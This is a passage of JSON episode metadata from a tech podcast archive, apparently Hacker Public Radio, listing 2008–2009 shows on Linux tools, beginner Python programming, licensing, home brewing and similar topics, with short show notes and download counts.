  • Slackware users can find it in sbopkg oh yeah!
  • \n
","hostid":7,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"pmount,mount,hot pluggable,hotpluggable,pluggable","version":0,"downloads":2150,"valid":1}, {"id":256,"date":"2008-12-23","title":"Ditching ITunes","duration":1111,"summary":"pixel_juice kicks iTunes out","notes":"

In which pixel_juice describes the steps he took to kick the iTunes habit and embrace freedom.

\n\n","hostid":104,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Rockbox,gPodder,EasyTAG,OGG Vorbis","version":0,"downloads":1544,"valid":1}, {"id":257,"date":"2008-12-24","title":"Apps I Installed on my eee pc","duration":944,"summary":"Dave Yates reviews applications on the eee pc","notes":"Apps I installed on my eee pc.

\ndebian eee pc","hostid":77,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"eee pc,fluxbox,openbox,lxde,iceweasel,roxterm,rox-filer,links browser,vim,irssi","version":0,"downloads":2068,"valid":1}, {"id":258,"date":"2008-12-25","title":"Xmas Special","duration":7065,"summary":"Some of the HPR community visit each other on Christmas Eve via chat","notes":"Xmas \"Live\" Special, Hosts include slick0, droops morgellon, Tottenkoph, killersmurf, fawksfyre, Enigma, PlexiE, threethirty","hostid":39,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Christmas,Xmas,community,holiday,tech gifts","version":0,"downloads":3746,"valid":1}, {"id":259,"date":"2008-12-26","title":"Drupal: From blank to blog in 30 minutes","duration":3751,"summary":"Utah Open Source Conference - Google App Engine 101","notes":"UTOSC 2008: Drupal: From blank to blog in 30 minutes by Dirk Howard
\n\n
\nDrupal is an extensible Content Management System (CMS) that is used for blogs, forums, photo galleries and many other uses. Installing Drupal on a blank website can be done in as little as 30 minutes. All you need is a web server that can handle PHP, a MySQL or PostgreSQL database, and either FTP or shell access to the web server. Within 30 minutes you can be blogging on your own site that you can customize anyway you want.\n\n","hostid":100,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,Drupal,galleries,photos,forums,blog","version":0,"downloads":1526,"valid":1}, {"id":260,"date":"2008-12-29","title":"All Songs considered 5: Big Dave Yates","duration":438,"summary":"Another song by Chad from the Linux Basement","notes":"An Ode to Dave Yates by Chad from the linuxbasement
","hostid":101,"series":22,"explicit":1,"license":"CC-BY-NC-SA","tags":"songs,podmaster,Dave Yates","version":0,"downloads":1402,"valid":1}, {"id":261,"date":"2008-12-30","title":"Force Unleashed","duration":633,"summary":"Enigma reviews The Force Unleashed for the Wii","notes":"Enigma starts things off with the first episode of the Game review series, he reviews Force Unleashed for the Wii","hostid":39,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Game Review","version":0,"downloads":6810,"valid":1}, {"id":262,"date":"2008-12-31","title":"Programming 101: The Basics","duration":1093,"summary":"Xoke starts the Programming series","notes":"Xoke starts the Programming series giving some background on his experience as well as some programming fundamentals. ","hostid":79,"series":25,"explicit":1,"license":"CC-BY-NC-SA","tags":"Programming","version":0,"downloads":3806,"valid":1}, {"id":263,"date":"2009-01-01","title":"1 year anniversary special","duration":1693,"summary":"Enigma and Wintermute21 talk about their favorite episodes from Season 1","notes":"Enigma and Wintermute21 talk about their favorite episodes from Season 1 and discuss changes that Season 2 will bring.","hostid":39,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Favorite episodes","version":0,"downloads":2746,"valid":1}, {"id":264,"date":"2009-01-02","title":"Interacting with GSM Modems","duration":677,"summary":"Seal talks about GSM Modems","notes":"Seal talks about GSM Modems","hostid":18,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"GSM modems,SMS,serial communication,AT commands","version":0,"downloads":3101,"valid":1}, {"id":265,"date":"2009-01-05","title":"CrunchBang Linux","duration":1399,"summary":"monsterb and threethirty talk about CrunchBang Linux","notes":"monsterb and threethirty talk about CrunchBang Linux, Openbox and Terminator.
Links:
CrunchBang Linux
Openbox
Terminator
Unix Porn!
Screenshots: pic1, pic2
CrunchBang Repo:
deb https://ppa.launchpad.net/spring/ubuntu intrepid main
deb-src https://ppa.launchpad.net/gezakovacs/ubuntu intrepid main
deb-src https://ppa.launchpad.net/spring/ubuntu intrepid main
deb https://ppa.launchpad.net/gezakovacs/ubuntu intrepid main","hostid":99,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Crunchbang Linux","version":0,"downloads":2160,"valid":1}, {"id":266,"date":"2009-01-06","title":"EC Lug Decemeber 11th Meeting","duration":5848,"summary":"The Nov. 20th, 2008 Eau Claire Linux User Group meeting","notes":"EC Lug December 11th Meeting ","hostid":93,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,RAID,vnc,zeroconf,programming","version":0,"downloads":1301,"valid":1}, {"id":267,"date":"2009-01-07","title":"Copyfight Volume 4: Free Beatles","duration":233,"summary":"Threethirty talks about how to get legally free Beatles tracks","notes":" Story:
\n Podcast Feed:
","hostid":92,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"copyfight","version":0,"downloads":1679,"valid":1}, {"id":268,"date":"2009-01-08","title":"Lightweight Web Browsing With Arora","duration":472,"summary":"Deepgeek reviews a lightweight browser","notes":"

Deepgeek continues the lightweight applications series

\n\n

Links

\n\n","hostid":73,"series":11,"explicit":1,"license":"CC-BY-NC-SA","tags":"browser,lightweight,geek tidbit,surfraw command line search","version":0,"downloads":1862,"valid":1}, {"id":269,"date":"2009-01-09","title":"Cups","duration":1633,"summary":"Klaatu discusses CUPS printing","notes":"klaatu talks about printing in linux","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"CUPS,Linux,printing,network printers,ipp protocol,foomatic drivers","version":0,"downloads":1482,"valid":1}, {"id":270,"date":"2009-01-12","title":"Licensing Part 2 - AGPL and LGPL","duration":1887,"summary":"The second part of a look at licenses","notes":"\n","hostid":7,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"licenses,licences,AGPL,LGPL","version":0,"downloads":2040,"valid":1}, {"id":271,"date":"2009-01-13","title":"Stallman on Free Beer","duration":758,"summary":"Interview with Richard Stallman by SUPERFLEX ","notes":"This\nis an interview with Richard Stallman framed as a \"review\" of FREE\nBEER, the worlds first collaborative \"free\" beer (\"free'' as in `free\nspeech\", not as in \"free beer\")
By SUPERFLEX in 2005. Creative Commons license: Attribution-ShareAlike","hostid":99,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"Richard Stallman\",\"Free Beer\",\"intellectual property\",\"free software\",\"open source software\"","version":0,"downloads":4577,"valid":1}, {"id":272,"date":"2009-01-14","title":"EC Lug December 18th Meeting","duration":7478,"summary":"The Dec. 18th, 2008 Eau Claire Linux User Group meeting","notes":"EC Lug December 18th Meeting","hostid":93,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,Books,printers,dvd backup,copyright,newsletter","version":0,"downloads":1298,"valid":1}, {"id":273,"date":"2009-01-15","title":"The socal Linux Expo","duration":2059,"summary":"SCALE 7x, the premier Open Source Community conference in the southwestern United States","notes":" https://scale7x.socallinuxexpo.org/
\nSCALE 7x, the premier Open Source Community conference in the southwestern United States, returns to the Westin LAX Hotel, site of the 6th Expo! For 2009, the main weekend conference at SCALE 7x has been expanded. In addition to the three main tracks, a Beginner's track and a Developer's track have been added.
\n
\nWintermute interviews Orv Beach and Ilan Rabinovitch, both staff members of the ScaLE conference ","hostid":105,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,OpenSUSE,Bradley M. Kuhn,software as a service,licensing,Fedora,Subversion","version":0,"downloads":2144,"valid":1}, {"id":274,"date":"2009-01-16","title":"TiddlyWiki","duration":1257,"summary":"Thistleweb review TiddlyWiki","notes":"
\nShow Notes & Running Order (More Or Less)\n\nWhat it is / what it's not\nWhat people expect a wiki to be\n\tServer based\n\tDatabase storage\n\tMultiple users\n\tRevision control\nWhere TiddlyWiki is best suited\n\tJournal\n\tStart a new clean wiki each month / year and tar.gz the previous one to be archived\n\tPersonal wiki you can take with you on a thumbdrive\n\tA scratch pad for ideas on a project, ideal to zip and send to a client\nJavaScript & CSS\nPlatform Neutral\n\tGecko based\n\tOpera etc require additional TiddlySaver.jar file\nGTD Variants (b3cubed)\nAlternates (didiwiki, woas)\nNo install needed\nBackstage\nTiddlers\nPlugins\n\tInstalling plugins\nThemes\n\tBlackicity theme from tiddlythemes.com\n\tInstalling themes - Importing themes\n\tInstalling themes - Empty file, importing tiddlers\nNo passwords, encryption or theme switching by default\nA wiki for each project\n\tSeparate folders for each TiddlyWiki\n\tBackups created by default\n\tRename your empty-tiddlywiki.html file anything you want\n\tSome config info kept in cookies\nUpgrading\nSyncing with a version of TiddlyWiki on a different PC\nFree TiddlyWiki hosting at tiddlyspot.com, can be private\nEvery wiki uses it's own syntax\nWhy I needed something like TiddlyWiki\nDidiWiki requires a port opened to work\n

\nLinks
\nThe main project site
\n The official wiki
\nThemes for TiddlyWiki
\n Guides for TiddlyWiki
\n WikiOnAStick
\n DidiWiki
\nA free hosted TiddlyWiki site.
\nDCubed GTD TiddlyWiki
\nMonkey GTD TiddlyWiki
","hostid":106,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"wiki,self-contained,java script,css","version":0,"downloads":2042,"valid":1}, {"id":275,"date":"2009-01-19","title":"giver","duration":1775,"summary":"Review of Giver, a simple file sharing desktop application","notes":"monsterb, threethirty, klaatu, and Peter64 talk about \"giver\" and apps they use on eeepc.
Giver is a simple file sharing desktop application. Visit the original Giver Hack Week Page and check out the video.
The ogg version of this episode is located on https://monsterb.org/hpr.html.","hostid":99,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"giver,openSuse,file sharing,LAN","version":0,"downloads":2154,"valid":1}, {"id":276,"date":"2009-01-20","title":"ANCIENT ORANGE MEAD","duration":1652,"summary":"lostnbronx makes Orange mead wine","notes":"
\nmakes roughly 1 US gallon after headspace and spillage are factored in\n\n\nIngredients\n\n3 1/2 pounds (1.5 kgs.) of honey\n1 large orange\n1 small handful of raisins\n1 cinnamon stick\n2 cloves\npinch of nutmeg and allspice (optional)\n1 sachet bread yeast\nwater to just under 4 liters\n\n\nProcedure\n\nCut orange into eigths.  Add orange slices (peels and all) to a 4 liter \njug, then add honey, spices, and water to 4 liters, less headspace.  Cap \nand shake, mixing well.  Uncap, add yeast.  Cap and shake again.  Uncap \nand attach waterlock.  Let sit for 2 to 2 1/2 months.  When mead is \nclear syphon it into clean bottles.  Cap or cork these.  Mead is now \nready to drink, but gets better with age. \n\n\nAdditional Reading\n\nThe obligatory Wikipedia article\nA nice overview of mead history and nomenclature.  (I've contributed to \nit myself, so you just know it's good!) \nhttps://en.wikipedia.org/wiki/Mead\n\nGotmead.com \nThe single biggest mead resource on the Web.  The forums are \nparticularly useful.  Many very knowledgeable and friendly people hang \nout here. https://www.gotmead.com\n\nThe Mead Lover's Digest \nA venerable email forum, that gets sent out whenever there's enough \ncontent to fill and issue.  Lots of good advice and recipes here.  This \nis the introduction/signup page. https://www.talisman.com/mead/\n
","hostid":107,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"wine,home brewing,fermenting,mead,yeast,waterlock,bottling","version":0,"downloads":1875,"valid":1}, {"id":277,"date":"2009-01-21","title":"tmpfs","duration":437,"summary":"Thewtex talks about tmpfs","notes":"thewtex talks about tmpfs\n\n","hostid":69,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"tmpfs,ramdisk,filesystem","version":0,"downloads":2123,"valid":1}, {"id":278,"date":"2009-01-22","title":"Squashfs","duration":459,"summary":"Deepgeek talks about squashfs","notes":"deepgeek talks about squashfs","hostid":73,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"squashfs,filesystem","version":0,"downloads":2029,"valid":1}, {"id":279,"date":"2009-01-23","title":"cfengine","duration":1026,"summary":"Ken Fallon interviews Ian Southam about using cfengine","notes":"\nKen talks to Ian Southam about using cfengine to manage your servers.
\n\nOverview of CFengine
\nhttps://en.wikipedia.org/wiki/Cfengine\n
\nThe Promise of System Configuration: Google Tech Talks - November 5, 2008 \nhttps://www.youtube.com/watch?v=4CCXs4Om5pY\n
\nA simple overview of cfengine: Debian Administration\nhttps://www.debian-administration.org/articles/223\n
\nCentralized Host Configuration With Cfengine: Sun BigAdmin System Administration Portal\nhttps://www.sun.com/bigadmin/features/articles/cfengine_part1.html\nhttps://www.sun.com/bigadmin/features/articles/cfengine_part2.html\n
\nIan Southam:\nhttps://www.schubergphilis.com/\n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Interview,cfengine","version":0,"downloads":2164,"valid":1}, {"id":280,"date":"2009-01-26","title":"Aftershow","duration":6313,"summary":"Impromptu aftershow conversation","notes":"An unintended, and impromptu, aftershow conversation between kajarii and threethirty, recorded after a call-in episode of the lottalinuxlinks.com linux user podcast.","hostid":77,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Gnome,accessibility,RAM,Windows,vim,free software,keyboards","version":0,"downloads":1997,"valid":1}, {"id":281,"date":"2009-01-27","title":"Expressive Programming 6: How do you view programming: artistically, scientifically, or statically?","duration":1330,"summary":"Part 6 of the Expressive Programming series","notes":"Uberchick continues the Expressive Prgramming series","hostid":95,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Expressive Programming","version":0,"downloads":1492,"valid":1}, {"id":282,"date":"2009-01-28","title":"Python Programming 101: Part 2","duration":1293,"summary":"Xoke continues the Programming 101 series","notes":"
\nprint (\"Hello World\")\n\nprint (\"Hello \\\"World\")\n\nx = 1\nprint (x)\n\nx = 1\nx = x + 5\nx = x * 7\nprint (x)\n\nx = 1 + 5 * 7\nprint (x)\n\nx = (1 + 5) * 7\nprint (x)\n\n# This is a comment\nx = (1 + 5) * 7\n# print (\"5\")\nprint (x)\n\nx = \"Hello World\"\nprint (x)\n\nx = \"Hello\"\ny = \"World\"\nprint (x+y)\n\nx = \"Hello\"\ny = \"World\"\nprint (x + \" \" + y)\n\nsFirstName = \"John\"\nsSurname = \"Smith\"\nprint (\"Dear \" + sFirstName + \" \" + sSurname)\n\nx = 13\nsFirstName = \"John\"\nsSurname = \"Smith\"\nif x < 12:\n\tprint (\"Good Morning \" + sFirstName + \" \" + sSurname)\nelse:\n\tprint (\"Good Evening \" + sFirstName + \" \" + sSurname)\n\nx = 11\nsFirstName = \"John\"\nsSurname = \"Smith\"\nif x < 12:\n\tprint (\"Good Morning \" + sFirstName + \" \" + sSurname)\nelse:\n\tprint (\"Good Evening \" + sFirstName + \" \" + sSurname)\nprint (\"When does this get printed?\")\n\n
","hostid":79,"series":25,"explicit":1,"license":"CC-BY-NC-SA","tags":"Programming,Python","version":0,"downloads":2682,"valid":1}, {"id":283,"date":"2009-01-29","title":"Convert Ogg to MP3","duration":1703,"summary":"Monsterb and company discuss converting ogg to mp3","notes":"Convert Ogg to MP3
monsterb, threethirty, klaatu, and Peter64 talk about audio converters.
ffmpeg is a command line tool to convert multimedia files between formats.
Linux Cranks Oggcast forum thread on converting Ogg to MP3.
Perl Audio Converter is a tool for converting multiple audio types from one format to another.
SoundConverter - GNOME Sound Conversion.
SoX is a cross-platform command line utility that can convert various formats of computer audio files in to other formats.","hostid":99,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"ogg,mp3","version":0,"downloads":2235,"valid":1}, {"id":284,"date":"2009-01-30","title":"Roundtable 1: Is Google Evil?","duration":2740,"summary":"Various hosts discuss \"Is Google Evil?\"","notes":"Morgellon, Plexie, Klaatu, Drake Anubis, and Skirlet discuss whether google is evil.","hostid":109,"series":26,"explicit":1,"license":"CC-BY-NC-SA","tags":"google,evil,privacy,DRM,EULA","version":0,"downloads":2036,"valid":1}, {"id":285,"date":"2009-02-02","title":"Hacker","duration":1129,"summary":"Thistleweb talks about the term Hacker, and some meanings of the word.","notes":"

Definitions taken from different dictionaries, with non-IT related definitions removed for relevance.

\n

\"Hacker\" :n

\n
    \n
  1. A programmer who breaks into computer systems in order to steal or change or destroy information as a form of cyber-terrorism [syn: cyber-terrorist, cyberpunk]
  2. \n
  3. A programmer for whom computing is its own reward; may enjoy the challenge of breaking into other computers but does no harm; \"true hackers subscribe to a code of ethics and look down upon crackers\"
  4. \n
  5. A person who enjoys exploring the details of programmable systems and how to stretch their capabilities, as opposed to most users, who prefer to learn only the minimum necessary.
  6. \n
  7. One who programs enthusiastically (even obsessively) or who enjoys programming rather than just theorizing about programming.
  8. \n
  9. A person capable of appreciating hack value.
  10. \n
  11. A person who is good at programming quickly.
  12. \n
  13. An expert at a particular program, or one who frequently does work using it or on it; as in `a Unix hacker'. (Definitions 1 through 5 are correlated, and people who fit them congregate.)
  14. \n
  15. An expert or enthusiast of any kind. One might be an astronomy hacker, for example.
  16. \n
  17. One who enjoys the intellectual challenge of creatively overcoming or circumventing limitations.
  18. \n
  19. [deprecated] A malicious meddler who tries to discover sensitive information by poking around. Hence `password hacker', `network hacker'. The correct term for this sense is cracker.
  20. \n
","hostid":106,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"hacker,definition,linux","version":0,"downloads":2074,"valid":1}, {"id":286,"date":"2009-02-03","title":"Zoneminder Install","duration":1561,"summary":"jelkimantis talks about the Zoneminder video camera security solution","notes":"jelkimantis talks about Zoneminder , a Linux video camera security and surveillance solution","hostid":90,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"zoneminder,debian,video,security,education,gspca devices","version":0,"downloads":2084,"valid":1}, {"id":287,"date":"2009-02-04","title":"sysctl","duration":419,"summary":"Klaatu talks about the kernel parameter command \"sysctl\"","notes":"

\nKlaatu talks about the lil' kernel parameter command \"sysctl\" and how it\nenables your computer to stop responding to pings, and more.\n

\n\nogg version located at\nhttps://www.thebadapples.info/audiophile/sysctl.ogg\n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"sysctl,kernel,parameters","version":0,"downloads":2097,"valid":1}, {"id":288,"date":"2009-02-06","title":"EC Lug Meeting Jan 12th","duration":7040,"summary":"The Jan. 12th, 2009 Eau Claire Linux User Group meeting","notes":"Audio from the EC Lug Jan 12th meeting","hostid":93,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,router,printers,Slackware,Virtualbox","version":0,"downloads":1280,"valid":1}, {"id":289,"date":"2009-02-07","title":"Running Linux on Compact Flash","duration":770,"summary":"How Deepgeek runs Linux on a Compact Flash drive","notes":"Shownotes are located on deepgeek's website. Go there for ogg and flac\nversions as well as full show notes with photographs, mirrors of other\npodcasts that influenced this one, and an example of /etc/fstab for the\nproject.","hostid":73,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"compact flash,debian,read-only,squashfs","version":0,"downloads":2234,"valid":1}, {"id":290,"date":"2009-02-09","title":"NaNoWriMo.org","duration":1811,"summary":"Lostnbronx and his experience with the NaNoWriMo writing challenge","notes":"NaNoWriMo.org\n
or\n
\"I Gotta Be Outa My Friggin' Mind\"\n

\nNaNoWriMo.org (National Novel Writing Month) is an organization that \nsponsors an event each November wherein participants set out to write a \nnovel in thirty days. The challenges and obsticles are many, not the \nleast of which are the writers themselves.\n

\nnanowrimo.org\n

Also of interest to writers:\n
Critters Story Group\n

","hostid":107,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"NaNoWriMo,writing","version":0,"downloads":2030,"valid":1}, {"id":291,"date":"2009-02-10","title":"moonlight discussion","duration":2550,"summary":"Several hosts discuss the Moonlight 'plugin'","notes":"
monsterb, threethirty, klaatu,\njlindsay, and dann talk about moonlight, mono, silverlight, flash,\nlicensing, and patents. Plus the debut of a votekick ending.
moonlight is an open source implementation of Microsoft Silverlight for Unix systems.
mono is a cross platform, open source .NET development framework.
mono licensing GPL, LGL, MIT X11
Fox Movie Trailers to test moonlight and silverlight.","hostid":99,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"moonlight,mono,silverlight,flash,licensing,patents","version":0,"downloads":2217,"valid":1}, {"id":292,"date":"2009-02-11","title":"All Songs Considered 6: Freedom was born","duration":383,"summary":"Another song by Chad from the Linux Basement","notes":"Another song from Chad from the linuxbasement","hostid":101,"series":22,"explicit":1,"license":"CC-BY-NC-SA","tags":"songs,politicians,corporations,community,music,freedom","version":0,"downloads":1516,"valid":1}, {"id":293,"date":"2009-02-12","title":"Illustrious Programmer Ep 0","duration":689,"summary":"Illustrious Programmer Ep 0","notes":"first ep in Jelkimantis' new series","hostid":90,"series":25,"explicit":1,"license":"CC-BY-NC-SA","tags":"programming,beginners,Python","version":0,"downloads":2143,"valid":1}, {"id":294,"date":"2009-02-13","title":"Copyfight Vol5: Filtering","duration":221,"summary":"MPAA copyright filtering bill","notes":"original story :
https://www.boingboing.net/2009/02/10/mpaas-beloved-networ.html\n
\n
\nPetition :
https://publicknowledge.cmail1.com/T/ViewEmail/y/18C852B44675F35A/D60B49FF968D258D9A8E73400EDACAB4","hostid":92,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"copyfight","version":0,"downloads":1977,"valid":1}, {"id":295,"date":"2009-02-16","title":"Illustrious Programmer E1: Vocab and Basics","duration":1411,"summary":"Vocab and Basics","notes":"Jelkimatis continues his Illustrious Programmer series","hostid":90,"series":25,"explicit":1,"license":"CC-BY-NC-SA","tags":"programming,python,debugging tips","version":0,"downloads":2155,"valid":1}, {"id":296,"date":"2009-02-17","title":"EC LUG Jan 15 meeting","duration":2033,"summary":"The Jan. 15th, 2009 Eau Claire Linux User Group meeting","notes":"EC LUG Jan 15 meeting","hostid":93,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,AMD,cooling,overclocking,circuit simulation,music","version":0,"downloads":1416,"valid":1}, {"id":297,"date":"2009-02-18","title":"Open VPN","duration":3634,"summary":"Utah Open Source Conference - Google App Engine 101","notes":"UTOS OpenVPN presentation","hostid":100,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,OpenVPN,encryption,OpenSSL","version":0,"downloads":1503,"valid":1}, {"id":298,"date":"2009-02-19","title":"AutoNessus","duration":1735,"summary":"Ken Fallon interviews Frank Breedijk of AutoNessus","notes":"Ken Fallon interviews the autonessus developer","hostid":30,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"interviews,autonessus,security","version":0,"downloads":2166,"valid":1}, {"id":299,"date":"2009-02-20","title":"LinuxTalk","duration":4878,"summary":"Threethirty plays a presentation called The Linux Alternative","notes":"LinuxTalk","hostid":92,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,talk","version":0,"downloads":1523,"valid":1}, {"id":300,"date":"2009-02-23","title":"Big 300","duration":1682,"summary":"Interviews from Morgellon, Dave Yates, Deepgeek and various other hosts","notes":"interviews from various hpr hosts...\n

\nthanks to everyone who makes HPR possible","hostid":109,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"interviews,hpr","version":0,"downloads":1457,"valid":1}, {"id":301,"date":"2009-02-24","title":"News Cast Ep0","duration":333,"summary":"Newscast of what's happening in the News world","notes":"Ep 0 of finux's newscast series","hostid":85,"series":28,"explicit":1,"license":"CC-BY-NC-SA","tags":"news,Linux,FOSS,windows","version":0,"downloads":1561,"valid":1}, {"id":302,"date":"2009-02-25","title":"Python Programming Part 3","duration":1313,"summary":"Xoke continues the Programming 101 series","notes":"\n

\nfor x in range(1, 10):\n       print(x)\n\n\nfor x in range(1, 11):\n       print(x)\n\n\ny = 0\nfor x in range(1,101):\n       y = y + x\nprint(y)\n\n\ny = 0\nx = 1\nwhile x < 101:\n       y = y + x\n       x = x + 1\nprint (y)\n\n\nx = 0\ny = 0\nz = 1\n\nwhile z < 100:\n       x = y\n       y = z\n       z = x + y\n       print (z)\n\n\nx = 0\ny = 0\nz = 1\n\nwhile z < 100:\n       print (z)\n       x = y\n       y = z\n       z = x + y\n\n\nx = 0\ny = 0\nz = input('What number do we start from?')\ni = input('And up to which number should we calculate')\n\nwhile z < i:\n       print (z)\n       x = y\n       y = z\n       z = x + y\n
","hostid":79,"series":25,"explicit":1,"license":"CC-BY-NC-SA","tags":"Programming,Python","version":0,"downloads":3453,"valid":1}, {"id":303,"date":"2009-02-26","title":"lottanzb, my computers, and a quick movie review","duration":1007,"summary":"Dave Yates talks about various subjects","notes":"lottanzb, my computers, and a quick movie review

\nlottanzb;

\ndeepgeek's newsgroup hpr episode;

\nmy computers; and a boy and his dog.","hostid":77,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"lottanzb,nzb files,computers,movie review","version":0,"downloads":2116,"valid":1}, {"id":304,"date":"2009-02-27","title":"Phone Line Troubleshooting","duration":632,"summary":"Troubleshooting a telephone land line","notes":"Wintermute talks about phone line troubleshooting","hostid":105,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"telephone line,troubleshooting","version":0,"downloads":2115,"valid":1}, {"id":305,"date":"2009-03-02","title":"Hard core Ogg player on the cheap","duration":356,"summary":"Setting up Rockbox on a Sansa device","notes":" Sansa e250 $29.99 \n
\n\n \n8gb MicroSDHC $24.99 \n
\n \nRock box for sansa
\n\n\n\n\n Boot loader instructions ","hostid":110,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Sansa,ogg,rockbox","version":0,"downloads":1542,"valid":1}, {"id":306,"date":"2009-03-03","title":"News Cast Ep 1 ","duration":392,"summary":"Newscast of what's happening in the News world","notes":"second ep of finux's series\n","hostid":85,"series":28,"explicit":1,"license":"CC-BY-NC-SA","tags":"Google,email","version":0,"downloads":2155,"valid":1}, {"id":307,"date":"2009-03-04","title":"Krita","duration":1145,"summary":"Klaatu compares Krita and Gimp","notes":"\nKlaatu compares Krita, Gimp and, obligatorily, Ph0t0sh0p.","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"Gimp,Krita","version":0,"downloads":2222,"valid":1}, {"id":308,"date":"2009-03-05","title":"EC Feb 05 Meeting","duration":2608,"summary":"The Feb. 5th, 2009 Eau Claire Linux User Group meeting","notes":"EC Feb 05 Meeting","hostid":93,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,Gimp,Printers","version":0,"downloads":2085,"valid":1}, {"id":309,"date":"2009-03-06","title":"Compiling a linux kernel","duration":455,"summary":"Impressions on compiling the linux kernel","notes":"Deepgeek briefly gives his impressions of custom compiling a linux\nkernel.","hostid":73,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,kernel,compiling,initrd","version":0,"downloads":1973,"valid":1}, {"id":310,"date":"2009-03-09","title":"SSH tunneling","duration":1535,"summary":"Using ssh connections for tunneling and other applications","notes":"Knightwise talks about using ssh connections for terminal applications, filesharing and ssh tunneling.","hostid":111,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"linux,openssh,centerIM,irssi,alpine,putty,screen","version":0,"downloads":1700,"valid":1}, {"id":311,"date":"2009-03-10","title":"Firewall Distros","duration":1698,"summary":"Mark discusses a few different firewall distros","notes":"Mark discusses a few different firewall distros","hostid":112,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"linux,firewalls,network","version":0,"downloads":1549,"valid":1}, {"id":312,"date":"2009-03-11","title":"Illustrious Programmer Ep02","duration":863,"summary":"Programming with Jelkemantis","notes":"the thrid episode of the Illustrious programmer series","hostid":90,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"programming,Python","version":0,"downloads":2064,"valid":1}, {"id":313,"date":"2009-03-12","title":"Recesion Era Media","duration":1311,"summary":"Recession era multimedia with LostNBronx","notes":"\nDO-IT-YOURSELF ANTENNA \n\n
\n\nThe Gray-Hoverman Antenna (a GPL 3.0 \nversion) \n\n
\n\nThe \nDigital Home forum\n\n
\n\nTV Fool\n\n
\n\n\nThe Linux Outlaws Antenna thread\n\n
\n\nA few do-it-yourself antenna designs on Instructables \n\n

\n\nMYTHTV AND THE LIKE\n\n
\n\nInfo about MythTV is not at all hard to come by these days, but here's a \nfew places to start off with, just in case it is new to you.\n\n
\n\nMythTV\n\n
\n\nMythbuntu\n\n
\n\nMythdora\n\n
\n\nBoxee\n\n
\n\nThis is an app that some people bill as an alternative to Mythbox\n\n

\n\n

\n\nROCKBOX\n\n
\n\nRockbox rocks!\n\n

\n\n

\n\nWEB-ONLY SHOWS\n\n
\n\nGemini Division\n\n
\n\nDrawn By Pain\n\n
\n\nStar Trek: Phase II\n\n
\n\nStar Trek: Of Gods and \nMen\n\n
\n\nDr. Horrible's Sing Along Blog \n\n
(I figure there might be a few people on Earth who haven't yet seen Dr. Horrible. A really \nwonderful production, and a nice example of the wide breadth that Web content can take.)","hostid":107,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"multimedia,alternatives,podcasts,music,video,Rockbox,bittorrent","version":0,"downloads":2131,"valid":1}, {"id":314,"date":"2009-03-13","title":"LVM2","duration":2588,"summary":"Kevin gives a brief and basic overview of Logical Volume Management, or LVM.","notes":"Kevin gives a brief and basic overview of Logical Volume\nManagement, or LVM.\n\nPlease note that I will be using a Debian GNU+Linux frame of\nreference, and that there is a possibility that some of the\ncommand-line details of some of he commands may differ to some extent.\n\nAlso note that the current LVM package is \"LVM2\", and that when I use\nthe term LVM, that I am, indeed, referring to LVM2.\n","hostid":113,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,logical volume manager,partition","version":0,"downloads":2089,"valid":1}, {"id":315,"date":"2009-03-16","title":"Interview with ChrisJohnRiley","duration":2749,"summary":"finux interviews ChrisJohnRiley","notes":"finux interviews ChrisJohnRiley","hostid":85,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,interview,penetration testing,network,security","version":0,"downloads":5738,"valid":1}, {"id":316,"date":"2009-03-17","title":"Raid LVM","duration":1605,"summary":"Mark discusses software raid and LVM","notes":"Mark discusses software raid and 